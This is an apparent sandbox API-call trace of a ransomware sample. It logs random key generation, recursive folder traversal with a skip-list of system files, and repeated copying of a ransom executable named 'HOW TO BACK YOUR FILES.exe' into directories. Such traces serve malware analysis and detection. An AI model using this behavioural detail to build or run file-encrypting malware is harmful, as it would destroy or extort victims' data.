	[0085.874] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x109d300, lpName=0x0) returned 0x15c
	[0085.876] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1000000, dwNumberOfBytesToMap=0x9d300) returned 0x4d0000
	[0086.024] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.025] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.025] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.025] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.025] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.026] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.026] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.026] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.026] UnmapViewOfFile (lpBaseAddress=0x4d0000) returned 1
	[0086.031] CloseHandle (hObject=0x15c) returned 1
	[0086.032] CloseHandle (hObject=0x9c) returned 1
	[0086.032] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.032] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.032] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.041] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3007c9f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3007c9f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0086.041] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0086.041] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3007c9f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3007c9f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0086.041] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0086.041] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b79f0
	[0086.041] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Adobe\\Acrobat", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat") returned="C:\\Users\\All Users\\Adobe\\Acrobat"
	[0086.041] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdca8 | out: hHeap=0x580000) returned 1
	[0086.041] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x580000) returned 1
	[0086.041] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\Acrobat") returned 32
	[0086.041] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Adobe\\Acrobat" | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat") returned="C:\\Users\\All Users\\Adobe\\Acrobat"
	[0086.041] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0086.041] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\acrobat\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0086.042] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.043] GetLastError () returned 0x0
	[0086.043] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0086.043] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0086.043] CloseHandle (hObject=0x10c) returned 1
	[0086.043] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0086.043] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0086.043] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300a2b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0086.043] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.043] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0086.043] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0086.043] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300a2b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.043] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.043] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0086.043] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0086.044] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0086.044] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300a2b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0086.044] lstrcmpiW (lpString1="10.0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.044] lstrcmpiW (lpString1="10.0", lpString2="Apollon865.txt.exe") returned -1
	[0086.044] lstrcmpiW (lpString1="10.0", lpString2=".") returned 1
	[0086.044] lstrcmpiW (lpString1="10.0", lpString2="..") returned 1
	[0086.044] lstrcmpiW (lpString1="10.0", lpString2="windows") returned -1
	[0086.044] lstrcmpiW (lpString1="10.0", lpString2="bootmgr") returned -1
	[0086.044] lstrcmpiW (lpString1="10.0", lpString2="temp") returned -1
	[0086.044] lstrcmpiW (lpString1="10.0", lpString2="pagefile.sys") returned -1
	[0086.044] lstrcmpiW (lpString1="10.0", lpString2="boot") returned -1
	[0086.044] lstrcmpiW (lpString1="10.0", lpString2="ids.txt") returned -1
	[0086.044] lstrcmpiW (lpString1="10.0", lpString2="ntuser.dat") returned -1
	[0086.044] lstrcmpiW (lpString1="10.0", lpString2="perflogs") returned -1
	[0086.044] lstrcmpiW (lpString1="10.0", lpString2="MSBuild") returned -1
	[0086.044] lstrlenW (lpString="10.0") returned 4
	[0086.044] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\Acrobat\\*") returned 34
	[0086.044] lstrcpyW (in: lpString1=0x119e64a, lpString2="10.0" | out: lpString1="10.0") returned="10.0"
	[0086.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79e8
	[0086.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bc9b8
	[0086.044] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79f0 | out: ListHead=0x5b75f0, ListEntry=0x5b79f0) returned 0x5b79d0
	[0086.044] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x300a2b50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0086.044] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0086.044] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x300a2b50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0086.044] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0086.044] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b79f0
	[0086.044] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0"
	[0086.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc9b8 | out: hHeap=0x580000) returned 1
	[0086.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x580000) returned 1
	[0086.044] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0") returned 37
	[0086.044] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0" | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0"
	[0086.044] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0086.045] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0086.045] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.045] GetLastError () returned 0x0
	[0086.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0086.045] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0086.046] CloseHandle (hObject=0x10c) returned 1
	[0086.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0086.046] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0086.046] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300a2b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0086.046] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.046] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0086.046] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0086.046] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300a2b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.046] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.046] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0086.046] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0086.046] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0086.046] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x300a2b50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x300a2b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0086.046] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0086.046] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 1
	[0086.046] lstrcmpiW (lpString1="Replicate", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.046] lstrcmpiW (lpString1="Replicate", lpString2="Apollon865.txt.exe") returned 1
	[0086.046] lstrcmpiW (lpString1="Replicate", lpString2=".") returned 1
	[0086.046] lstrcmpiW (lpString1="Replicate", lpString2="..") returned 1
	[0086.046] lstrcmpiW (lpString1="Replicate", lpString2="windows") returned -1
	[0086.046] lstrcmpiW (lpString1="Replicate", lpString2="bootmgr") returned 1
	[0086.046] lstrcmpiW (lpString1="Replicate", lpString2="temp") returned -1
	[0086.046] lstrcmpiW (lpString1="Replicate", lpString2="pagefile.sys") returned 1
	[0086.046] lstrcmpiW (lpString1="Replicate", lpString2="boot") returned 1
	[0086.046] lstrcmpiW (lpString1="Replicate", lpString2="ids.txt") returned 1
	[0086.046] lstrcmpiW (lpString1="Replicate", lpString2="ntuser.dat") returned 1
	[0086.046] lstrcmpiW (lpString1="Replicate", lpString2="perflogs") returned 1
	[0086.046] lstrcmpiW (lpString1="Replicate", lpString2="MSBuild") returned 1
	[0086.046] lstrlenW (lpString="Replicate") returned 9
	[0086.046] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*") returned 39
	[0086.047] lstrcpyW (in: lpString1=0x119e654, lpString2="Replicate" | out: lpString1="Replicate") returned="Replicate"
	[0086.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79e8
	[0086.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c55f8
	[0086.047] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79f0 | out: ListHead=0x5b75f0, ListEntry=0x5b79f0) returned 0x5b79d0
	[0086.047] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 0
	[0086.047] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0086.047] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b79f0
	[0086.047] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate"
	[0086.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0086.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x580000) returned 1
	[0086.047] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate") returned 47
	[0086.047] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate" | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate"
	[0086.047] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0086.047] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0086.047] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.048] GetLastError () returned 0x0
	[0086.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0086.048] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0086.048] CloseHandle (hObject=0x10c) returned 1
	[0086.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0086.048] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0086.048] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0086.049] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.049] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0086.049] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0086.049] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.049] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.049] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0086.049] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0086.049] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0086.049] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x300c8cb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0086.049] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0086.049] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1
	[0086.049] lstrcmpiW (lpString1="Security", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.049] lstrcmpiW (lpString1="Security", lpString2="Apollon865.txt.exe") returned 1
	[0086.049] lstrcmpiW (lpString1="Security", lpString2=".") returned 1
	[0086.049] lstrcmpiW (lpString1="Security", lpString2="..") returned 1
	[0086.049] lstrcmpiW (lpString1="Security", lpString2="windows") returned -1
	[0086.049] lstrcmpiW (lpString1="Security", lpString2="bootmgr") returned 1
	[0086.049] lstrcmpiW (lpString1="Security", lpString2="temp") returned -1
	[0086.049] lstrcmpiW (lpString1="Security", lpString2="pagefile.sys") returned 1
	[0086.049] lstrcmpiW (lpString1="Security", lpString2="boot") returned 1
	[0086.049] lstrcmpiW (lpString1="Security", lpString2="ids.txt") returned 1
	[0086.049] lstrcmpiW (lpString1="Security", lpString2="ntuser.dat") returned 1
	[0086.049] lstrcmpiW (lpString1="Security", lpString2="perflogs") returned 1
	[0086.049] lstrcmpiW (lpString1="Security", lpString2="MSBuild") returned 1
	[0086.049] lstrlenW (lpString="Security") returned 8
	[0086.050] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\*") returned 49
	[0086.050] lstrcpyW (in: lpString1=0x119e668, lpString2="Security" | out: lpString1="Security") returned="Security"
	[0086.050] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79e8
	[0086.050] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5916c0
	[0086.050] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79f0 | out: ListHead=0x5b75f0, ListEntry=0x5b79f0) returned 0x5b79d0
